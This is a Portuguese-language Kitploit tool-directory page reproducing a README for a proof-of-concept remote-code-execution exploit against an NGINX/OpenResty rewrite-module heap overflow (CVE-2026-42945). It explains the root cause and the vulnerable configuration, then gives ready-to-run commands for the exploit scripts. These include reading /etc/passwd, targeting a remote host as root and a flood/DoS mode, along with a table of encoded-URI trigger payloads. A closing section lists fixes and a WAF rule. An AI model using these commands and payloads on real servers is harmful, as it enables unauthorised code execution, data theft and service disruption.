Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
nginx-cve-2026-42945-poc — Prova de conceito de exploit para CVE-2026-42945, um overflow crítico de heap no módulo rewrite do NGINX que permite execução remota não autenticada de código através de codificação URI manipulada. Inclui ambiente de teste baseado em Docker, validação ASAN e múltiplos scripts de exploit. | Kitploit
Ferramentas/GitHubGitHub/forxiucn/nginx-cve-2026-42945-poc
Segurança de ContêineresAnálise Dinâmica (Sandboxing)Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebFuzzingTestes de PenetraçãoExploração de Binários

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Prova de conceito de exploit para CVE-2026-42945, um overflow crítico de heap no módulo rewrite do NGINX que permite execução remota não autenticada de código através de codificação URI manipulada. Inclui ambiente de teste baseado em Docker, validação ASAN e múltiplos scripts de exploit.

GitHub
forxiucn/nginx-cve-2026-42945-poc

nginx-cve-2026-42945-poc

Ver Repositório
15há 3 mesesAinda não revisado
Compartilhar

CVE-2026-42945 — NGINX Rewrite Module estouro de buffer de heap → RCE

RCE confirmado com sucesso — através de estouro de heap + injeção de processo GDB, executa comandos arbitrários nos workers do NGINX / OpenResty.

Início rápido

root@kitploit:~
# 一键构建 NGINX 镜像 + 执行 RCE 测试
./run.sh nginx

# 一键构建 OpenResty 镜像 + 执行 RCE 测试
./run.sh openresty

# 自定义命令
./run.sh nginx 'cat /etc/passwd'
./run.sh openresty 'whoami'

Resumo da vulnerabilidade

PropriedadeValor
Identificador CVECVE-2026-42945
Tipo de vulnerabilidadeEstouro de buffer de heap → Execução remota de código (RCE)
Componente afetadongx_http_rewrite_module
Versões afetadasNGINX 0.6.27 ~ 1.30.1, NGINX Plus R32 ~ R36
Pontuação da vulnerabilidadeCVSS 9.4 (CRÍTICA)
Condições de exploraçãoSem autenticação; RCE requer permissão ptrace (root)

Causa raiz da vulnerabilidade

ngx_http_script_complex_value_code() aloca o buffer com base no comprimento decodificado da URI, mas ngx_http_script_copy_capture_code() chama ngx_escape_uri() escrevendo com base no comprimento codificado. Caracteres codificados na URL expandem 3x → estouro de heap.

Condições de disparo

Três condições devem ser satisfeitas simultaneamente:

  1. As diretivas rewrite e set estão no mesmo location
  2. rewrite string de substituição contém ?
  3. set referencia a variável de captura $1 do rewrite
root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # 含 '?'
    set $original_endpoint $1;                     # 引用 $1
}

Pilha confirmada pelo ASAN

root@kitploit:~
#0 ngx_escape_uri                    src/core/ngx_string.c:1663
#1 ngx_http_script_copy_capture_code src/http/ngx_http_script.c:1399
#2 ngx_http_rewrite_handler          src/http/modules/ngx_http_rewrite_module.c:180

Estrutura do projeto

root@kitploit:~
.
├── run.sh                          # Compilação e teste com um clique
├── README.md
│
├── scripts/                        # Scripts de teste & exploração
│   ├── rce.sh                      # RCE puro em Shell (curl + GDB, sem Python)
│   ├── exploit_rce.py              # RCE em Python (compatível com 2.7/3.x)
│   ├── exploit.py                  # Script PoC principal (check/exploit/rce/flood)
│   └── exploit_asan.py             # Varredura completa ASAN
│
├── package/                        # Arquivos de implantação & orquestração
│   ├── Dockerfile.rce              # NGINX compilado da fonte + ambiente RCE
│   ├── Dockerfile.openresty.rce    # OpenResty compilado da fonte + ambiente RCE
│   ├── Dockerfile                  # Imagem base (Alpine)
│   ├── Dockerfile.asan             # Imagem de depuração ASAN
│   ├── docker-compose.yml          # Orquestração Docker (nginx-rce + openresty-rce)
│   ├── nginx.conf                  # Configuração vulnerável do NGINX
│   ├── nginx-openresty.conf        # Configuração vulnerável do OpenResty
│   ├── start_rce.sh                # Script de inicialização do contêiner NGINX RCE
│   └── start_openresty_rce.sh      # Script de inicialização do contêiner OpenResty RCE
│
└── src/                            # Código fonte (para compilação)
    ├── nginx-1.26.3/               # Código fonte NGINX 1.26.3
    ├── nginx-1.26.3.tar.gz
    └── openresty-1.25.3.1.tar.gz   # OpenResty 1.25.3.1 (nginx/1.25.3 embutido)

Uso detalhado

Teste dentro do contêiner Docker

root@kitploit:~
# Shell 脚本 (无 Python 依赖)
docker exec nginx-rce bash /opt/rce.sh 'id'
docker exec nginx-rce bash /opt/rce.sh 'cat /etc/passwd'

# Python 脚本 (兼容 2.7/3.x)
docker exec nginx-rce python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'whoami'

# OpenResty 同理
docker exec openresty-rce bash /opt/rce.sh 'id'

Entrar no contêiner via exec do host

root@kitploit:~
docker exec -it nginx-rce bash
# 容器内:
bash /opt/rce.sh 'id'
python3 /opt/exploit_rce.py -t http://127.0.0.1:80 -c 'uname -a'

Testar diretamente o alvo remoto

root@kitploit:~
# 需要 root + ptrace 权限
sudo python3 scripts/exploit_rce.py -t http://target:80 -c 'id'

Script PoC principal (quatro modos)

root@kitploit:~
python3 scripts/exploit.py --target http://localhost:8775 --mode check     # 检测漏洞
python3 scripts/exploit.py --target http://localhost:8775 --mode exploit   # ASAN 堆溢出验证
python3 scripts/exploit.py --target http://localhost:8775 --mode rce       # RCE 风险评估
python3 scripts/exploit.py --target http://localhost:8775 --mode flood     # DoS 压力测试

Payload de disparo

Recomendações de correção

  1. Atualizar NGINX para 1.30.2+
  2. Mitigação temporária: evitar combinação de rewrite (com ?) + set (referenciando $1)
  3. Regra WAF: bloquear grandes quantidades de requisições codificadas %25/%3f/%23/%26
  4. Reforço de permissões: echo 1 > /proc/sys/kernel/yama/ptrace_scope

Referências

  • F5 Advisory K000161019
  • NGINX Source
Baixar ferramenta
PayloadDescriçãoResultado
/api/%25 × N% codificado✅ Estouro de heap
/api/%3f × N? codificado✅ Estouro de heap
/api/%23 × N# codificado✅ Estouro de heap
/api/%26 × N& codificado✅ Estouro de heap